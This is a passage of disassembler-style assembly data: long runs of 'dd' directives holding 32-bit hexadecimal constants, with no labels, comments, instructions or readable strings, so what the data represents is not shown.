		dd 0E0008020h, 8C3243E1h
		dd 1C119F02h, 833E9919h, 4F80B3FBh, 0A266C3C0h,	0BC0AC01Dh
		dd 9A5E2B41h, 1C60E5B8h, 388F0026h, 77AF211h, 2202F512h
		dd 2B4B503Eh, 2F44405Bh, 1E450EA0h, 0C3E1B2FCh,	0F1E27C38h
		dd 0C7A13005h, 0F1020872h, 3E07F629h, 26BCE925h, 388020h
		dd 91F8FECAh, 8DFF6CDCh, 8AB60D02h, 50ABCDD5h, 0E46B7D38h
		dd 0A5D70380h, 362658B4h, 38D34D98h, 3BE88C48h,	0F1D00D20h
		dd 16E03070h, 94F70109h, 8F61DF4Fh, 577020F5h, 0E95EE500h
		dd 43DA95Bh, 0FC98F27Dh, 0FA200ACh, 934EA01Ch, 7C24B724h
		dd 0D01FA491h, 0A53054C3h, 0F4079898h, 25AC03D9h, 0CC44C360h
		dd 0D440EAA2h, 1009112h, 3CFA1D72h, 59A7A2h, 0EED42A7Bh
		dd 0C5F30F7Eh, 0EDE22C0Eh, 0BF63203Bh, 765A2Bh,	28061C1Bh
		dd 0A7A3C49h, 0AD3EDA00h, 2462F997h, 0E6A90195h, 9E868DD9h
		dd 7D37868h, 1C80FF29h,	6FAC2479h, 4F790516h, 5EC20033h
		dd 2F81D2FDh, 0E2717701h, 3B65C1DBh, 0E405B440h, 99360776h
		dd 0D0B0D7F5h, 618C1926h, 604FB78h, 0DE59BD60h,	8FEDBC80h
		dd 2AE035Bh, 16483719h,	10FE60D0h, 14EEFC2Eh, 0A3E8003Fh
		dd 0BCA775F2h, 0C5171E83h, 0A497C232h, 30C03CF7h, 213B3F38h
		dd 1098D94Ah, 8F005BC1h, 2F9B5D34h, 2A0FE6E5h, 801AFFF2h
		dd 5F503DE9h, 0B0C6E018h, 14733Ah, 6A4B3CB0h, 0A36D8C8h
		dd 7159A90Ah, 0EA00F866h, 954EEDB3h, 718C7D74h,	0CAAD262Eh
		dd 0C42180B4h, 0A3FD7EBBh, 0FA4DE200h, 0B4A954C0h, 3D7C3807h
		dd 0BD46580h, 0BBCA0CD2h, 844FE00h, 0A3287DD9h,	0E3E5818h
		dd 39196E24h, 7A03BE05h, 0C130810Eh, 866BD89Ch,	617CF600h
		dd 958D3BE0h, 0E7390A65h, 1804918h, 0F1306F4Fh,	8CA0C0F3h
		dd 0A700B275h, 1F76ABD8h, 78252161h, 0D3D42C87h, 6CA502FBh
		dd 4C40EBF2h, 9E077744h, 0A17CCDAEh, 7107C990h,	0E0BC018Fh
		dd 6E553FA7h, 0B98DE8AAh, 43AE511Ch, 78AFF8C0h,	7AB72353h
		dd 93E0096h, 9233418Bh,	2749951Bh, 40182C1Ch, 192BFE60h
		dd 2FDD0058h, 0C9F93F9Eh, 27032DE7h, 581DEB6h, 2C31B00Fh
		dd 96EE0106h, 5982B91Ah, 1423DBh, 0F9DA29D5h, 0F3F14B7h
		dd 384374B3h, 3A900F12h, 0CE131BC0h, 0BF003CE5h, 0B75ACADBh
		dd 1EA8192Fh, 26AC5D7h,	0DF409123h, 0D6925F40h,	2AF3DC00h
		dd 5B3E0104h, 4DE61D1Bh, 5645D55h, 8008A074h, 0DFB9F20Dh
		dd 6D0DAA00h, 0D0414B4Ch, 18E4A4h, 3142AC21h, 518C5602h
		dd 0D4BD1926h, 98B5CB07h, 0DA330520h, 66490076h, 828BA43Ch
		dd 0C7002B7Dh, 0F520BDE0h, 0D7C6ECh, 9713E249h,	5A4F0C84h
		dd 153F0CB2h, 8B2A8E0Ah, 0D4413311h, 300EBDC3h,	4EC5D900h
		dd 0EE42682Ch, 0B2F62Dh, 3A90839Dh, 2600E950h, 4F36032Ah
		dd 818653h, 761F0748h, 1655F956h, 0ECB449h, 3AA01C5h, 7DE4606Eh
		dd 0DD0E1ED5h, 404A9371h, 61AD4F90h, 6D0CA118h,	1927C9CFh
		dd 2E1D26AFh, 0AB5B00C9h, 975950B2h, 41D7B607h,	58B02AE9h
		dd 3248A9Eh, 0CBC2218Ch, 77B9361Ch, 0D122D46Dh,	9BB32E00h
		dd 5583B4F8h, 0A378003Ah, 0F234AC86h, 0B9005B7Bh, 2A24CC2Ch
		dd 1CA4BBh, 7E67A144h, 745339Dh, 84524614h, 47930298h
		dd 80F104BCh, 0ACA95DE9h, 0BD6100B9h, 0F69437FAh, 0CE753F55h
		dd 0A2597B00h, 108D2D3h, 0C8DC00D4h, 45FE4FFFh,	0EA016C13h
		dd 0A847393Bh, 68F683A5h, 0FC99AD4h, 0DC01EC7Ah, 3C2AC0A0h
		dd 6A071509h, 4C0F6393h, 0AB533AA0h, 739A0724h,	0E07C84FEh
		dd 9DDB3287h, 0BB92250Eh, 182300A2h, 5FFB04h, 7809EEE4h
		dd 165136D4h, 1B15500h,	0B91EA3C7h, 0A52B3A70h,	3910DA6h
		dd 24851480h, 0A46EC0F0h, 7BB8E001h, 6D579F45h,	23CCE9E2h
		dd 8C2020EFh, 3AE47348h, 19E09A6h, 0CC884012h, 80A73084h
		dd 4B1C03D9h, 0F519FC1Dh, 431CBB26h, 59FF0880h,	54024438h
		dd 7F1C0Ch, 0BD7A9A47h,	0F9822219h, 48FB3637h, 3D496D80h
		dd 0A9602DFFh, 0B3DC0Eh, 0DC6CC012h, 0D8A05FE0h, 851FD12Bh
		dd 66C0B5D0h, 26CDBF23h, 29E00AC1h, 47B86584h, 9BFA00B9h
		dd 5A147FACh, 994D07h, 8201D1A8h, 1CDBB90Eh, 40AC71A9h
		dd 0B80FFFE7h, 0F80F812Fh, 0C0C04DDCh, 0B1A86132h, 9E24098Eh
		dd 8E0041A0h, 0DF68A109h, 3191B207h, 3040A696h,	0A14D328h
		dd 4D6E49A7h, 0BEDA0780h, 0B864B037h, 2FFEB22Eh, 0F5E3500h
		dd 6BAA0C4Ah, 656600BEh, 0D54E885Dh, 0F60ED1C9h, 407C9A94h
		dd 1395E4A5h, 0A4A20ED2h, 0C8A017BBh, 84193CFEh, 0CC820E01h
		dd 0AE641DF5h, 1F4EA6FCh, 0C701B59Dh, 70E32B7Fh, 0B327BDD0h
		dd 72F83600h, 76BA90C8h, 41FB0559h, 0C016B251h,	94199108h
		dd 0A0C0BE03h, 0C9D0D4DBh, 0C050AB34h, 3BBFF547h, 0E0066C2Ch
		dd 8E584C0h, 44214261h,	0EDE9BFE3h, 5EE9C0h, 15FEF3D7h
		dd 0A0F61171h, 0E8CBEF14h, 0AB2604C8h, 34884EA1h, 1411F870h
		dd 0F8E64683h, 83F0D19h, 0E32180D4h, 759B118Fh,	0EE4A0C6Bh
		dd 29588403h, 0C0DFB040h, 0E0D58B29h, 84060441h, 8CDDE1CDh
		dd 0AA551420h, 0CA8038A7h, 0D6468511h, 91FD0587h, 7DB68011h
		dd 1021005h, 6DC1CDBBh,	11289DF8h, 761B80B7h, 604E8662h
		dd 0D1AD19C5h, 3C003BE8h, 0F7C6C90Eh, 50A10417h, 3E84C0A5h
		dd 26003AFCh, 0B184022h, 90017B2h, 0EFCA8153h, 0EA9A161Eh
		dd 26670083h, 8EDA4068h, 0D00046C0h, 7F9FA74Dh,	9D7B5D8h
		dd 0B4CAE510h, 0B7179680h, 2D00EC04h, 0C95B0D4Eh, 0E8B0E343h
		dd 5EFC00DFh, 0D614ADEAh, 0D0C02C70h, 0EDEB4F25h, 17D7002Dh
		dd 0A0B24A44h, 1470AF0Bh, 4EF0640Fh, 54F16084h,	33AC2DAh
		dd 2DDEB40Ah, 8009BB7h,	239E44Eh, 37734Ah, 93C21814h, 0D9FFD6C6h
		dd 1E1A8E03h, 210A3Eh, 0D120569h, 0D46C63FAh, 0DADCA407h
		dd 22533EACh, 4C70876Dh, 6F2DFh, 1DFD9B6Ch, 0CB8F9535h
		dd 715C290Fh, 60005F0Dh, 2859041Ah, 0C2CF004Eh,	5A8454AAh
		dd 10C14D68h, 0E3AFFE38h, 7880F021h, 7F8C0E17h,	55004122h
		dd 7197BDA6h, 0EB48826Bh, 3D4C06E8h, 4BB04292h,	0A3E5AB30h
		dd 4E2E3A1Eh, 2C9A803Dh, 0A15442A4h, 71370082h,	0EED93415h
		dd 8D014E2Bh, 12EB6298h, 94403A66h, 3FA1CC0Ah, 1B00EC88h
		dd 91C79293h, 0E7005BCBh, 832B3CDBh, 0CABCF9h, 0DD1C85C9h
		dd 6F85490h, 0F796C400h, 0CFECEDB7h, 205D00F5h,	684AD4D2h
		dd 30E883E9h, 5720F960h, 1EF528h, 0B809AA4Bh, 0A1C5607Eh
		dd 0F4ADD52Ch, 0DC2B0100h, 317B46Ah, 58CEC0Ch, 0FEFB5EB7h
		dd 0D7034078h, 5FC90B5Ah, 78E8C066h, 95D1E73Eh,	52CC2180h
		dd 0F332860Bh, 0A7B58801h, 0E3010756h, 0A95868D7h, 91465E2Ch
		dd 9FEBB60Eh, 0C304C647h, 4810B469h, 9C0AE83h, 0E5FC40Bh
		dd 9222E843h, 0B02DD07h, 49C4BB7Bh, 0EFC83F80h,	9A1800E6h
		dd 6CEAB468h, 0F80F53DAh, 0A028A12Ch, 0B60F91C3h, 0F7380010h
		dd 0D1194AE3h, 0E2004DF2h, 0EE5D53C6h, 3AFE7C3h, 0A45F7585h
		dd 0F9F02574h, 2100C6D1h, 9BBDA313h, 7BB99802h,	578300E6h
		dd 0F845747Dh, 4A789A1Ah, 59A67600h, 298D31D9h,	784B0999h
		dd 6805038h, 832F62FAh,	0C200D471h, 0FE9E2B06h,	2EFC0878h
		dd 13E48D3h, 91E2412Fh,	43A8F733h, 8F00186Dh, 0ECE85C3Ch
		dd 7266F34h, 0CBAE552Ch, 0D105777Ch, 0EC196B82h, 0FA00BBD6h
		dd 313ECD86h, 3CCEA16Eh, 7A7C8E0Fh, 0F9C40012h,	0D329A9E5h
		dd 2190878Ch, 0D1635E00h, 2F8D53CEh, 20121888h,	0D4B529E6h
		dd 0F73C080h, 37A06C91h, 0F11BEA80h, 7405B766h,	9DA9FC60h
		dd 43180F80h, 7776B9h, 0D1EF9FF7h, 0ACAEDD46h, 693AF900h
		dd 0CFEA0D87h, 5EF21CA0h, 0A402C06Ah, 0FDC44144h, 0BF705B00h
		dd 0F360E76Fh, 21760084h, 0A9883BF2h, 19004908h, 91998BDEh
		dd 0C201A2h, 0DBE81C29h, 0CEC60EFCh, 87706601h,	0BDDE494Eh
		dd 0BE361080h, 0E9E65833h, 9A54431Fh, 5890A114h, 0C05700F4h
		dd 0BF7D5E31h, 0D96F05CEh, 8010A8BCh, 1E9FC1A9h, 0E408AA00h
		dd 2B3836FFh, 58920011h, 47681BCFh, 300DEB3h, 7873B5BBh
		dd 67EB07h, 0E6967952h,	21D90FE0h, 5D4D2700h, 2DDAE36Ch
		dd 1F5878E4h, 0C0DB810Ch, 0CA4EF81Ah, 0D301821Bh, 8F646BD2h
		dd 0A0FFC002h, 3D87E73h, 5ED139C7h, 0D3881DE8h,	6D001B42h
		dd 9E4912A1h, 46199Bh, 0B467529Dh, 81D5E6C3h, 98E0A260h
		dd 34894Bh, 0F07BEFE2h,	0D9CC094Fh, 0C658CE00h,	7DC1F732h
		dd 0A1AA00EEh, 0E881E07Fh, 8F003CF8h, 0C354A5D6h, 1F64CF51h
		dd 85188234h, 6C2544h, 0A91B2CD8h, 4303FE80h, 17CFFAEh
		dd 6D8F801Dh, 47631EA6h, 0D9BEC0A2h, 0A76BAC5Bh, 6E773607h
		dd 900051Ch, 0E17D40h, 7EE7FB94h, 0A2EAE961h, 85796D1Ch
		dd 9DDEA000h, 12B4356Eh, 3B675A4h, 6C013A68h, 0E111BDA8h
		dd 0FC40232Eh, 0FCAC6A00h, 72F75055h, 0DF3900D9h, 8537D5F5h
		dd 0C1072D18h, 67FA9F9Eh, 0CBA677B0h, 0C24800B3h, 5CCD9AD0h
		dd 502A2E7h, 3B160681h,	0E8A2C3C6h, 0E653458h, 0E72A147h
		dd 0E67DE860h, 3A005FF7h, 75E54EBBh, 0F6788828h, 4B30F729h
		dd 184F67A2h, 4E11E114h, 15DC40C6h, 0C754515Ah,	83F4659Ch
		dd 98313503h, 0B8C3C2EFh, 342ABCh, 0A6A038EEh, 0E92887A3h
		dd 0D8822C24h, 6E79B07h, 919A1B30h, 0C15E00D6h,	0B8FCC417h
		dd 0F80097BFh, 61FA9279h, 0E5D465h, 33F14439h, 47758857h
		dd 9BA13000h, 6D62B645h, 0E8BE03FCh, 8AB796BCh,	0E2ED200Eh
		dd 34F66320h, 7A22A8A3h, 0A6E300A5h, 1FA47BEBh,	0FB07514Ch
		dd 0B929FEC4h, 988566h,	0FAE51C7Dh, 0BDF65DBCh,	9B00C890h
		dd 3B2DC1ECh, 0E91DA8h,	7FA36DA5h, 0AC5E6564h, 0F9E30800h
		dd 6B3D9581h, 0EF290DFCh, 0C550863Eh, 0C04B1Ah,	72A0BC20h
		dd 10A71CFh, 76FB5B28h,	40B5E24Ch, 0C45F2F93h, 2251F401h
		dd 3F11A2EEh, 0F92A30h,	0ED9697D6h, 1A53F629h, 0B600E27Bh
		dd 0BBF4572Eh, 37BCA9h,	2B89AEBEh, 0BF6C54F9h, 9AAD1D01h
		dd 3A6F02FAh, 0E476AF30h, 90B403E5h, 4D98F324h,	15676CF0h
		dd 0CAA93F07h, 0BC00AC0Ah, 0C081AB20h, 755041C8h, 0B00003C3h
		dd 4D95A61Ch, 0E6D1477h, 293C0D93h, 8BA0A920h, 0A899BBCAh
		dd 6B13B00h, 91088h, 0E84E627Eh, 9CABFEF7h, 15AC2C00h
		dd 342D4A73h, 0E1C7005Eh, 855D1637h, 385006DEh,	4700CA98h
		dd 0ED78B65Fh, 7289F884h, 0C0327308h, 0F0BBEE21h, 0B0A882DEh
		dd 28919B2Bh, 0B93958h,	82F6A30Bh, 956904EFh, 5B176402h
		dd 6071809Eh, 0E14AEB0h, 6EFF4B0Ch, 25803309h, 868764EDh
		dd 0DC8D5D26h, 0C580E300h, 978CB8h, 0BD5A33D0h,	9D1F3E8Ah
		dd 0F3E5FB00h, 7CB324CAh, 0B030C08Fh, 0F61C810Bh, 54AF2224h
		dd 6F625E00h, 58F8571Eh, 131238E3h, 0B6F0424Ah,	0C0A26A16h
		dd 4C441E86h, 1EF05E49h, 500797Ch, 4CEB2ECh, 0D9CA00FCh
		dd 2A5857Bh, 4A00B5EFh,	5E62BC7Eh, 4C2915h, 0ED14D237h
		dd 0F7D7DB7Ah, 0BB7C4579h, 9FD69607h, 3CB0088Ah, 581EB4CFh
		dd 4600EB6Ah, 6C10470Ch, 0BA00A9D5h, 985C73E5h,	4EA7A3h
		dd 99F83603h, 0CC0F3D47h, 7DD0D459h, 6991B000h,	0BB065DF7h
		dd 25EA0095h, 0F0855305h, 0D300AF36h, 3F7198DAh, 7703D0Dh
		dd 0BECFA20Ch, 1EA68018h, 4400A0B6h, 0A88B57E3h, 7808674h
		dd 8E31BB98h, 4FB781B1h, 1E1081D5h, 5B7972B2h, 92D6E2E4h
		dd 16371BCh, 32B340D0h,	0D0E3530Ah, 1E0074FFh, 41A2B83Eh
		dd 7E580Dh, 2ED2F563h, 88193284h, 500F677h, 9A07744Bh
		dd 6F2BD897h, 7760305Bh, 0D3036AD5h, 8C702E01h,	3146A506h
		dd 60243BD0h, 5BFA788Fh, 490597CAh, 23366F08h, 0A0330C0Eh
		dd 0B1D62F88h, 60FC0090h, 57F849B7h, 5E3A1654h,	3F3C0070h
		dd 7D841AC2h, 0A2BE007Fh, 0DC95CDE3h, 365046D6h, 990069F2h
		dd 0F18B53A4h, 39FFAF30h, 458025C0h, 40677B24h,	0D2E882E4h
		dd 0EC630404h, 54C0ACB0h, 644D46h, 354FF88Bh, 7AA16288h
		dd 3695BD1Ch, 5FFF740h,	9B94DA3h, 4E3592FEh, 16AF00FFh
		dd 0EC278C57h, 1CED00DEh, 84ADAF73h, 9F0123D6h,	74A7A496h
		dd 0E980D792h, 3C454CE4h, 1A1211EDh, 0AE002DB3h, 74676B18h
		dd 0D7062E87h, 0D5C49EE4h, 7CD8E5h, 11A85F3Fh, 8ADF4005h
		dd 8B5D010Bh, 98180014h, 30F10D37h, 0C309E4Ah, 5400D7B1h
		dd 33A9771Ah, 213EA08h,	0F7636FEEh, 263B907h, 11129100h
		dd 0FFE91417h, 8E1509AFh, 6B00FCD5h, 0A7736E7Ah, 0C3F44D07h
		dd 20E0429Dh, 72C4F1Bh,	415A9772h, 8D49AC92h, 0A7754207h
		dd 32613FB1h, 0C980C0ADh, 46E03653h, 0D502BF07h, 85769E14h
		dd 0B078407Fh, 234C4C39h, 0A4022Ch, 0F188DDDBh,	7407CA64h
		dd 3A70C9E9h, 0C19B91D0h, 444E5922h, 401C9224h,	6125C440h
		dd 2FD0B48h, 0F34EA979h, 0C69CA0ADh, 0E8FA57h, 6F39843Eh
		dd 0C2C70C69h, 1EFD6100h, 7718D62Ah, 87F70E57h,	0F0039694h
		dd 63F0433Fh, 0F00E965h, 85293807h, 0AC3CAEh, 4CBFD5D4h
		dd 233E7A3Ah, 0D760AEAh, 83009FF8h, 19074AEh, 3EFD558Fh
		dd 62007920h, 9D2AC571h, 80403D5h, 91403E7Dh, 0F4756980h
		dd 983C00DBh, 0C6FF1E2Ah, 3E670878h, 0E8F01D11h, 3A69BB1Bh
		dd 1931DD31h, 83C6B308h, 0E8DCB720h, 3481F062h,	37A80659h
		dd 901B2E84h, 283BBC0Fh, 7E61783Eh, 32860173h, 0C6BAFE66h
		dd 0D309989Fh, 74A45E21h, 660B2E86h, 77AF0702h,	5D899029h
		dd 0E50102FCh, 0EFB8C61h, 0B88503F4h, 2177C6FEh, 0C0E8F358h
		dd 3343C1BBh, 875710h, 0B2E8DBB6h, 15BBC04h, 5FBBD879h
		dd 60440265h, 5828CFEBh, 0A900AC37h, 85F130E6h,	57DFFDh
		dd 8AFBE74Fh, 53366ED8h, 0E2EFA80Fh, 908260E0h,	859ACBh
		dd 3F6B795Ch, 89C33425h, 8AEFA300h, 9CDAA64h, 6E68002Ah
		dd 9D59C1A7h, 163C74E9h, 91A18290h, 0C0463835h,	11A3916h
		dd 73CF9AB4h, 0D08C2C19h, 46F890F0h, 0F647C3Ah,	0E3F766A1h
		dd 98FDF2Fh, 287F9918h,	3B1D2480h, 0C700F4E8h, 150AD9A7h
		dd 0C97206Fh, 994A905Ch, 6A006668h, 1E3E61F0h, 3AC7794Ch
		dd 421854D3h, 43332096h, 0D5003971h, 0C71D45FAh, 194CAA88h
		dd 0A82E3C71h, 8C3C4082h, 0C62C7F9Fh, 8E1FC80Ch, 6871F9C0h
		dd 0C0466F13h, 7173F71h, 960653BEh, 770B501Eh, 87C10C20h
		dd 72188DDEh, 148B718h,	33864DB0h, 7A1829CEh, 0C2B20E0h
		dd 0C80F30C2h, 274700C6h, 0EE18865Dh, 0F840523Ah, 0BA6079Fh
		dd 0F023D87Bh, 0FF9CD35Eh, 1332B116h, 745DC500h, 0DD6DD4h
		dd 0EE5F6F71h, 0E34EF091h, 1F0082ECh, 55B4849h,	95B952h
		dd 0F25364BAh, 66225479h, 0B24E2A00h, 9C0A1B8Bh, 0B1240214h
		dd 5815B1Ah, 52356560h,	0C72E9700h, 0A563EC48h,	0BDECE9E2h
		dd 54D0011Fh, 4C9746A3h, 94A0DB7Ch, 7B00BB44h, 0CA1440E9h
		dd 0E495F63h, 0F479DC9Eh, 74B4378Ch, 2C5D7106h,	360BB5Ah
		dd 88DFF87Fh, 6EE80F49h, 0C5F29485h, 9900F1F4h,	183DACCAh
		dd 0F45CD40h, 0DBA39CEDh
		dd 7D1C5A80h, 1F01B387h, 0F79F3F54h, 207015DCh,	92AE021Dh
		dd 2E2C1A81h, 0C05702C0h, 86FEBF36h, 0FC7A08h, 4B176D88h
		dd 0EF2332F2h, 0A1832E00h, 0AFC686E0h, 0B4B00CA6h, 0AA8086Eh
		dd 0FA09F97Bh, 0CB6A15h, 0DFBF1BB3h, 0C2E43051h, 0EFAD9750h
		dd 79763Bh, 0E0DE4136h,	1CE69B5Bh, 0CFA6DB9Fh, 0CCC0F772h
		dd 7087F3BFh, 0A3ACC60Fh, 0A93C02CDh, 66FBC050h, 82007A8h
		dd 50711E24h, 0F7F27B85h, 50CF5A00h, 0B075B8C7h, 9DA9008Dh
		dd 0D406180Dh, 4600B5F9h, 0D9086AC2h, 0F81ADF73h, 819D00F0h
		dd 922C09E8h, 5BF2C189h, 0BA6BE21Eh, 7D865FC0h,	48B1D9h
		dd 0E3191329h, 45557CFDh, 0BAD2CE3Ah, 69568393h, 98606506h
		dd 1C05C234h, 71BEC05Ah, 7A1AE778h, 0F284E0h, 4FFD9663h
		dd 112AC144h, 31E24E00h, 670782EAh, 0EC5200F8h,	7C3A7642h
		dd 0C3004994h, 17A30CC1h, 0DF1AD8h, 0E380AD36h,	7A435D68h
		dd 7FE6350Fh, 6D38A71Eh, 0EF8E5261h, 3E9FC640h,	69E50007h
		dd 678F48B3h, 8400E8C4h, 0FC810CC3h, 309BB9E0h,	37A0F597h
		dd 91002002h, 7CBB0AD5h, 0F8ED079Dh, 218B2856h,	0DCE107A0h
		dd 97F78097h, 696A107Ah, 0D300329Ch, 0CFDD630Dh, 0F6D68161h
		dd 918D1C74h, 55EC0D1h,	3BE63ABBh, 0C4215000h, 0B338D34Fh
		dd 1DBD002Ch, 33D9315Eh, 280009E6h, 71D62378h, 182A69D7h
		dd 28E9A0ACh, 931DC166h, 10378048h, 0F809F760h,	911A006Fh
		dd 90C3D901h, 0C10C12D1h, 295F3637h, 27B001C6h,	507995A6h
		dd 8CD1C1E6h, 20C3F108h, 0D41A00DDh, 4109763Eh,	2360F868h
		dd 0CA4467A0h, 6A71009Bh, 0BF81B1F3h, 1460CE2Dh, 0A6216659h
		dd 0BA520018h, 428087AAh, 0F0E873B0h, 0D81421C0h, 0E4D7A427h
		dd 0A5C30109h, 353D59E0h, 2D9B3078h, 0C03AE8E3h, 0CD63430Ch
		dd 13C012h, 35C27D3Dh, 9106E779h, 0C3012000h, 0DB64ADF6h
		dd 4CEA46h, 53DB7C6h, 7537132Ah, 65429600h, 0A48E1990h
		dd 0E1E61746h, 56900BEh, 0FF3993D9h, 0D069D302h, 404EC141h
		dd 571CA9h, 5AA1D71Dh, 0D3445216h, 19C71E00h, 4392780Fh
		dd 710901B8h, 0CC57CB9Fh, 9E48C038h, 0D2BC4C00h, 513995E2h
		dd 7D10265Ah, 630A07D7h, 50D410E5h, 0D03E6D2h, 55F4FAA4h
		dd 171800A0h, 5F3C6388h, 0D700FB2Bh, 33C5BA32h,	9B807Ch
		dd 0A30F1AADh, 9FA07801h, 0DA43DC00h, 336EACBBh, 0A9A4002Ch
		dd 27BC4BB5h, 5D003AD8h, 745B24B6h, 0FE0EB72h, 64390E2h
		dd 2DF73EC0h, 0C2009762h, 3154368Eh, 1FFA203Dh,	0C03FD352h
		dd 0E8CC21F0h, 420087E0h, 351E940Eh, 0A7AABh, 959055ECh
		dd 0FBE6D8C4h, 40EC4460h, 68CAE5h, 0EC2E4E4Bh, 0F8632780h
		dd 903E38E2h, 0C738E7Fh, 16B460F9h, 2759D3h, 36C4319h
		dd 4F8F9A1Ch, 0C8740600h, 90F2E83Ah, 0A3790027h, 538455E1h
		dd 0AC05058Ch, 96E59703h, 472A3BC0h, 7AE101A0h,	6E9DEC67h
		dd 8CC8013h, 0D84B4FB0h, 0F28F0011h, 9DBD5EF9h,	5A03D6B1h
		dd 1049162Ah, 6D103D9Ch, 9B7A9983h, 0C190F8BAh,	0E1006AFAh
		dd 75C8037h, 1262B4E9h,	0C66FCEh, 454B2B3Ch, 601E59FBh
		dd 75005B28h, 743052AFh, 84D80F9Eh, 88E0D0C8h, 3E138E43h
		dd 0BC007771h, 22C68217h, 7D6E9Ch, 0B70365F1h, 0B6754067h
		dd 0D89D80BDh, 72D6Ch, 1F0C4BCAh, 0AEB8E30Eh, 28ADD701h
		dd 0C2123B6Bh, 2389DCh,	0D9744B96h, 58EF4DF6h, 0D6E7E100h
		dd 0DEB16C9Bh, 1A610E70h, 84C3384Ah, 0F0B77139h, 9AB6996Bh
		dd 508AED00h, 85C74172h, 3ABC00A1h, 0E710D9Fh, 3400791Eh
		dd 0AEC2DCC9h, 25D750h,	0E8AACDE0h, 849C06FDh, 0F541EA01h
		dd 0FF932367h, 0E4FA17CCh, 5EBB839h, 0B64ABBD4h, 2608C076h
		dd 0C400A92Ah, 0D808988Dh, 0A21A641h, 0C5D2F377h, 0FE010AD7h
		dd 5D5000A8h, 0C1FA8873h, 5E08CCA0h, 0D9B6A00h,	0A6F9F6CAh
		dd 0F4B70006h, 0C71F26C3h, 3E00CEEEh, 8337F10Eh, 162B546h
		dd 0C9BDF378h, 31AACF7Dh, 2C91D028h, 0DC76CD00h, 797BCA70h
		dd 4F70C055h, 0DF18F9E8h, 48A0B500h, 3FC1E3AFh,	16983Eh
		dd 8936C8FAh, 9B7E4D26h, 7D03ADF6h, 1B970948h, 0B561AFD6h
		dd 0A56074F7h, 44BC05A5h, 81724066h, 2038FC2Eh,	0FD1EDEB4h
		dd 6F004AB0h, 6E256550h, 6060C029h, 0DF3CDA19h,	53072C92h
		dd 83903144h, 7922F820h, 0B4060794h, 904B4E55h,	361666ABh
		dd 78D99F03h, 8870E3BFh, 0F63A3h, 0C2FD276Ch, 4CC57E2Ch
		dd 77BE60C0h, 0F25E7Ch,	3EA574BCh, 0BD6B5BB0h, 62DC530Fh
		dd 0C1F6E04Dh, 11F3A82h, 83AD4B65h, 249A6B93h, 320C2894h
		dd 503C4813h, 993F2CBCh, 5243B68h, 0AA2000F3h, 7EF055F8h
		dd 1600BB7Dh, 0D72F72EFh, 969E94h, 662D1786h, 597B7020h
		dd 7F4C4E01h, 0B8A364A5h, 10587E0h, 95A753C9h, 0E0550462h
		dd 14982C88h, 251FBD00h, 40FF4BE4h, 1707248h, 6D5D1594h
		dd 0C073D4D1h, 7100AC3Ch, 107B8890h, 0FB816CCh,	4FDB23B5h
		dd 290A7D83h, 64D37EB0h, 40A38400h, 43FF2C38h, 0BB080321h
		dd 8A3931B8h, 0E8E880DCh, 0C10A58B7h, 80C2225Bh, 20F28E39h
		dd 0E92FC618h, 772300F0h, 5D1C375Ah, 0FF0364F3h, 2FC08F94h
		dd 0A05C9839h, 0D1DD0002h, 53E4CC05h, 909029AFh, 790D1200h
		dd 0D5E37DA4h, 0B23F00F4h, 155621F1h, 37481F01h, 94630E59h
		dd 0FB2A605Ah, 0CE09318h, 423AD910h, 0DE509AA0h, 900E36DBh
		dd 20267205h, 1E529D0Ch, 90CB4CC6h, 803A331Eh, 16F1751Ch
		dd 0C867CAEAh, 3B01E818h, 0D880B428h, 0B0AE4DBFh, 0CC60DC5Fh
		dd 6F89BA20h, 4EC4045Bh, 0C059C9F6h, 12C26DC4h,	9FED8D18h
		dd 904E938h, 490BE0F2h,	81ECA000h, 0D0077D1h, 8543F8B9h
		dd 0F6B8493h, 5DE2D34Eh, 19C06F8Fh, 0F803F248h,	464C2600h
		dd 88A98F17h, 0B78606CFh, 3035B50Fh, 4C3F0103h,	805E2BA4h
		dd 1393A09h, 5297F6E4h,	0E0665F5Dh, 9300F2A2h, 1CC58E7Eh
		dd 74B3FBh, 38976D0h, 59DD8F50h, 0B918D507h, 4D005A14h
		dd 4ECDF2h, 58C41EC7h, 1574A6F1h, 660AF50Bh, 0FE5C801Bh
		dd 1E3954h, 6964E7BAh, 0CCE19806h, 2A52E21Fh, 5F2F2D80h
		dd 392B51BBh, 7902DCADh, 9F8F6732h, 0A9F8BD60h,	4900E5E0h
		dd 1C9EB6F1h, 0C241ADh,	0BB272934h, 2FB5E4F3h, 0CD2E6B1Fh
		dd 58550BC7h, 0C93D15B0h, 539301EBh, 0F736EDE0h, 0D767D496h
		dd 0FF69C005h, 8480548Dh, 0B36653h, 8C43E936h, 1280D228h
		dd 9A938E00h, 8FDF5ED8h, 76D90034h, 0A3A2773Ch,	0B4031747h
		dd 0FD863B64h, 194A0FABh, 0B560EE3Dh, 8C60F9BEh, 0D9F0C000h
		dd 2E62DDCAh, 64E3003Ah, 9E92CFE6h, 1F00B213h, 83A45827h
		dd 163880h, 0B490C018h,	560C4D82h, 5C8E900h, 0B9DB47C1h
		dd 4EB22C2Bh, 4770044h,	7BDA631Ah, 0A75BCA01h, 86E04C78h
		dd 0D51C24h, 0D0898AFFh, 15CC5F2h, 0D70BD100h, 0F88C90AFh
		dd 4F9303FEh, 4B5845B1h, 773A39B8h, 6E419A03h, 0F820AEEFh
		dd 756463ABh, 0A5010008h, 4E5B3D40h, 0A10BC930h, 46E337Fh
		dd 0F4D036A5h, 63BFF3A2h, 0AFCF4C7Bh, 6F1083Ah,	901BC6C8h
		dd 0B0B82699h, 4FAC40B8h, 0A7F62023h, 4A00F2E8h, 53E9C249h
		dd 76BBAFC6h, 57707Ah, 1670FB42h, 174333E6h, 4BC58600h
		dd 0DA2D6606h, 0A8D60FD0h, 809C2B9Bh, 0E2E3CE1h, 0D906B2BAh
		dd 0BDB11AA1h, 0FBDC0360h, 42282C93h, 8486B104h, 9107367Bh
		dd 97224025h, 0A1C3B2F6h, 0C0E183C2h, 0A56441h,	0C3AEBD24h
		dd 6CB153D4h, 236EF509h
		dd 0E2B9000Ch, 5465925h, 8B888EA0h, 57E00097h, 0EE61896Fh
		dd 8D0E3DF0h, 72C8A973h, 0C03C00AAh, 1EBC6F83h,	0FACF3707h
		dd 10604233h, 2874B7F1h, 2FA2D14h, 0E9463E2Ch, 0B4A0241Ah
		dd 0A673E42Bh, 5E1F337Bh, 0A483CA85h, 741C686h,	6D186920h
		dd 1E4B8070h, 0B10096E3h, 0D6321A26h, 4C81F2Fh,	0C9EFE5Ah
		dd 79F6A06Ch, 50688B3Fh, 0B707A98Ch, 1BAE5603h,	4D301521h
